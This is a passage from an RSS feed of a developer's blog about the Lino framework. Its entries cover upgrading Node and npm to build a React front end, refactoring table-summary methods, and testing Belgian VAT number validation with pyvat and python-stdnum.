        &lt;span class="n"&gt;pth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remove_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;pth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0719.html</guid><pubDate>Fri, 19 Jul 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 17, 2024</title><link>https://luc.lino-framework.org/blog/2024/0717.html</link><description>&lt;section id="wednesday-july-17-2024"&gt;
&lt;h1&gt;Wednesday, July 17, 2024&lt;a class="headerlink" href="#wednesday-july-17-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;We are worried about Sharif. He left his home on June 28 to visit a friend, but
since then he has vanished, his mobile phone is not reachable. His sister and
his wife filed a missing person report at the police. I still hope that he had
just a psycholigical crisis or problems with his wife (they married only 1 year
ago) and doesn’t dare to speak about it. That would be a strange behaviour, but
I’d prefer such an explanation over hearing that they found his motorcycle and
his body somewhere in the jungle.&lt;/p&gt;
&lt;p&gt;We are in the third week without Sharif, I start to imagine the worst case: that
I must learn how to build the React front end. Until now I had successfully
avoided the dirty details of Node, npm, React and webpack because Sharif was
better than me with this part of Lino development.&lt;/p&gt;
&lt;p&gt;Even when we assume that Sharif will soon come back, it’s a good thing that I am
forced to do his job for some time. I started to read and review
&lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#react-npm" title="(in Lino React)"&gt;&lt;span&gt;Introduction to npm, npx, NodeJS and React&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Of course my npm environment needs a upgrade:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm -v
8.5.1
$ node -v
v12.22.9

$ sudo npm install -g n
[sudo] password for luc:

added 1 package, and audited 2 packages in 560ms

found 0 vulnerabilities

$ sudo n stable
  installing : node-v20.15.1
       mkdir : /usr/local/n/versions/node/20.15.1
       fetch : https://nodejs.org/dist/v20.15.1/node-v20.15.1-linux-x64.tar.xz
     copying : node/20.15.1
   installed : v20.15.1 (with npm 10.7.0)

Note: the node command changed location and the old location may be remembered in your current shell.
         old : /usr/bin/node
         new : /usr/local/bin/node
If &amp;quot;node --version&amp;quot; shows the old version then start a new shell, or reset the location hash with:
hash -r  (for bash, zsh, ash, dash, and ksh)
rehash   (for csh and tcsh)

$ npm -v
10.7.0
$ node -v
v20.15.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I also did the following (don’t ask me why):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo npm upgrade -g react
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Let’s try:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm run build

&amp;gt; lino_react@24.5.0 build
&amp;gt; NODE_OPTIONS=&amp;#39;--max-old-space-size=8192&amp;#39; webpack --mode production

[webpack-cli] Failed to load &amp;#39;/home/luc/work/react/webpack.config.js&amp;#39; config
[webpack-cli] Error: Cannot find module &amp;#39;html-webpack-plugin&amp;#39;
Require stack:
- /home/luc/work/react/webpack.config.js
- /home/luc/work/react/node_modules/webpack-cli/lib/webpack-cli.js
- /home/luc/work/react/node_modules/webpack-cli/lib/bootstrap.js
- /home/luc/work/react/node_modules/webpack-cli/bin/cli.js
- /home/luc/work/react/node_modules/webpack/bin/webpack.js
    at Module._resolveFilename (node:internal/modules/cjs/loader:1145:15)
    at Module._load (node:internal/modules/cjs/loader:986:27)
    at Module.require (node:internal/modules/cjs/loader:1233:19)
    at require (/home/luc/work/react/node_modules/v8-compile-cache/v8-compile-cache.js:159:20)
    at Object.&amp;lt;anonymous&amp;gt; (/home/luc/work/react/webpack.config.js:2:27)
    at Module._compile (/home/luc/work/react/node_modules/v8-compile-cache/v8-compile-cache.js:192:30)
    at Module._extensions..js (node:internal/modules/cjs/loader:1416:10)
    at Module.load (node:internal/modules/cjs/loader:1208:32)
    at Module._load (node:internal/modules/cjs/loader:1024:12)
    at Module.require (node:internal/modules/cjs/loader:1233:19) {
  code: &amp;#39;MODULE_NOT_FOUND&amp;#39;,
  requireStack: [
    &amp;#39;/home/luc/work/react/webpack.config.js&amp;#39;,
    &amp;#39;/home/luc/work/react/node_modules/webpack-cli/lib/webpack-cli.js&amp;#39;,
    &amp;#39;/home/luc/work/react/node_modules/webpack-cli/lib/bootstrap.js&amp;#39;,
    &amp;#39;/home/luc/work/react/node_modules/webpack-cli/bin/cli.js&amp;#39;,
    &amp;#39;/home/luc/work/react/node_modules/webpack/bin/webpack.js&amp;#39;
  ]
}
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The message “Cannot find module ‘html-webpack-plugin’” makes me try the
following:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo npm install -g html-webpack-plugin

added 44 packages in 2s

10 packages are looking for funding
  run `npm fund` for details
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I am not sure about whether the difference between “sudo npm install -g” and
“npm install” is important.&lt;/p&gt;
&lt;p&gt;This story continues on &lt;a class="reference internal" href="0720.html"&gt;&lt;span class="doc"&gt;Saturday, July 20, 2024&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0717.html</guid><pubDate>Wed, 17 Jul 2024 00:00:00 +0000</pubDate></item><item><title>Review the API for get_table_summary()</title><link>https://luc.lino-framework.org/blog/2024/0712.html</link><description>&lt;section id="review-the-api-for-get-table-summary"&gt;
&lt;h1&gt;Review the API for get_table_summary()&lt;a class="headerlink" href="#review-the-api-for-get-table-summary" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I did &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5685"&gt;#5685&lt;/a&gt; (Review the API for get_table_summary().  The following
tables had a customized &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.get_table_summary()&lt;/span&gt;&lt;/code&gt; method, which I
converted to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.table_as_summary()&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/courses.html#lino_avanti.lib.courses.PresencesByEnrolment" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.courses.PresencesByEnrolment&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.dupable.html#lino.mixins.dupable.SimilarObjects" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.dupable.SimilarObjects&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.dupable.SimilarObjects&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/notify.html#lino.modlib.notify.MyMessages" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify.MyMessages&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.JournalsOverview" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.JournalsOverview&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.VouchersByPartnerBase&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.MovementsByPartner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.MovementsByPartner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.blogs.EntriesByController&lt;/span&gt;&lt;/code&gt; (currently not used anywhere)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Guests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Guests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Events" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Events&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; use the
same code.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cv.html#lino_xl.lib.cv.HistoryByPerson" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cv.HistoryByPerson&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cv.LanguageKnowledgesByPerson&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.households.SiblingsByPerson&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.households.MembersByPerson&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.humanlinks.SiblingsByPerson&lt;/span&gt;&lt;/code&gt; (including an optimization of
the presentation)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/phones.html#lino_xl.lib.phones.ContactDetailsByPartner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.phones.ContactDetailsByPartner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.TicketsByEndUser" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.TicketsByEndUser&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (which had a bug that was not
covered; I fixed the bug and added coverage)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/working.html#lino_xl.lib.working.SessionsByTicket" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.working.SessionsByTicket&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following table summaries: also have a customized
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.get_table_summary()&lt;/span&gt;&lt;/code&gt; method, but I dit &lt;strong&gt;not&lt;/strong&gt; yet convert it to an
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.table_as_summary()&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#lino.modlib.uploads.AreaUploads" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.uploads.AreaUploads&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (I prefer to leave this for later)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/deploy.html#lino_xl.lib.deploy.DeploymentsByTicket" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.deploy.DeploymentsByTicket&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (not used anywhere)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/excerpts.html#lino_xl.lib.excerpts.ExcerptsByOwner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.excerpts.ExcerptsByOwner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is not used anywhere directly,
but inherited by &lt;a class="reference external" href="https://dev.lino-framework.org/specs/excerpts.html#lino_xl.lib.excerpts.ExcerptsByProject" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.excerpts.ExcerptsByProject&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I wonder
whether the current implementation is useful in real life.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/polls.html#lino_xl.lib.polls.AnswersByResponseEditor" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.polls.AnswersByResponseEditor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;,
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/polls.html#lino_xl.lib.polls.AnswersByResponsePrint" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.polls.AnswersByResponsePrint&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;,
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/polls.html#lino_xl.lib.polls.ResponsesByPartner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.polls.ResponsesByPartner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;,
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.skills.DemandsByDemander&lt;/span&gt;&lt;/code&gt;,
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.skills.OffersByDemander&lt;/span&gt;&lt;/code&gt;
and a few more.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Side effects:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.html#lino.utils.AttrDict" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.AttrDict&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now supports &lt;em&gt;setting&lt;/em&gt; an attribute.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model.overview" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.overview&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field didn’t yet support getting a safe html string
from &lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#lino.core.model.Model.get_overview_elems" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.get_overview_elems()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New plugin setting &lt;a class="reference external" href="https://dev.lino-framework.org/specs/printing.html#setting-printing.print_demo_objects" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;printing.print_demo_objects&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and model attribute
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.printing.Printable.print_demo_objects&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I started to move away from using the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.html_text()&lt;/span&gt;&lt;/code&gt; method. Under ExtJS
this method wraps the given html fragment into a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="pre"&gt;class=&amp;quot;htmlText&amp;quot;&amp;gt;&lt;/span&gt;&lt;/code&gt;,
which specifies that this fragment contains simple html text inside an ExtJS
component.  ExtJS does a lot of CSS magic to neutralize the “usual” effects of
most html tags. This htmlText class is required to restore a half-way normal
look. Under any other front end the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.html_text()&lt;/span&gt;&lt;/code&gt; method does nothing.
My plan is to add the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;class=&amp;quot;htmlText&amp;quot;&lt;/span&gt;&lt;/code&gt; unconditionally, also under React.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I reviewed &lt;a class="reference external" href="https://dev.lino-framework.org/dev/display_modes.html#dev-table-summaries" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Customize the summary view&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Blog entry started on Friday, July 12, 2024. Changes are in lino, xl, noi, cosi,
care, avanti, tera, book, welfare and amici.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0712.html</guid><pubDate>Sat, 13 Jul 2024 00:00:00 +0000</pubDate></item><item><title>Thursday, July 4, 2024</title><link>https://luc.lino-framework.org/blog/2024/0704.html</link><description>&lt;section id="thursday-july-4-2024"&gt;
&lt;h1&gt;Thursday, July 4, 2024&lt;a class="headerlink" href="#thursday-july-4-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I did some more tests for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5670"&gt;#5670&lt;/a&gt; (Electronic sales invoices)
and started a topics page about &lt;a class="reference external" href="https://dev.lino-framework.org/topics/peppol.html#dg-topics-peppol" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Peppol support (e-Invoicing) in Lino&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The following code snippet shows that &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;pyvat&lt;/span&gt;&lt;/code&gt; knows Belgian VAT numbers but
not Belgian company numbers. I use a selection of companies found on
&lt;a class="reference external" href="https://www.companyweb.be/nl/0437272535/assurances-dekempener"&gt;companyweb.be&lt;/a&gt;.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pyvat&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;stdnum.be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;vat&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;examples&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Abakus It-Solutions Belgium BV&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;0443493896&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;BE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;BSDG V.o.G.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;0441635753&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;BE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Assurances DEKEMPENER NV&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;0437272535&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;BE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The first company is subject to VAT, the other two aren’t.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vat_number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;country_code&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;examples&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pyvat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_vat_number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat_number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;country_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;country_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vat_number&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_valid&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;business_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;BE 0443493896 True SRL ABAKUS IT-SOLUTIONS Belgium&lt;/span&gt;
&lt;span class="go"&gt;BE 0441635753 False None&lt;/span&gt;
&lt;span class="go"&gt;BE 0437272535 False None&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://arthurdejong.org/python-stdnum"&gt;python-stdnum&lt;/a&gt; module validates
also the company numbers (but it doesn’t do any online check).&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vat_number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;country_code&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;examples&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vat_number&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;0443493896&lt;/span&gt;
&lt;span class="go"&gt;0441635753&lt;/span&gt;
&lt;span class="go"&gt;0437272535&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I currently assume that the schemeID&lt;/p&gt;
&lt;/section&gt;
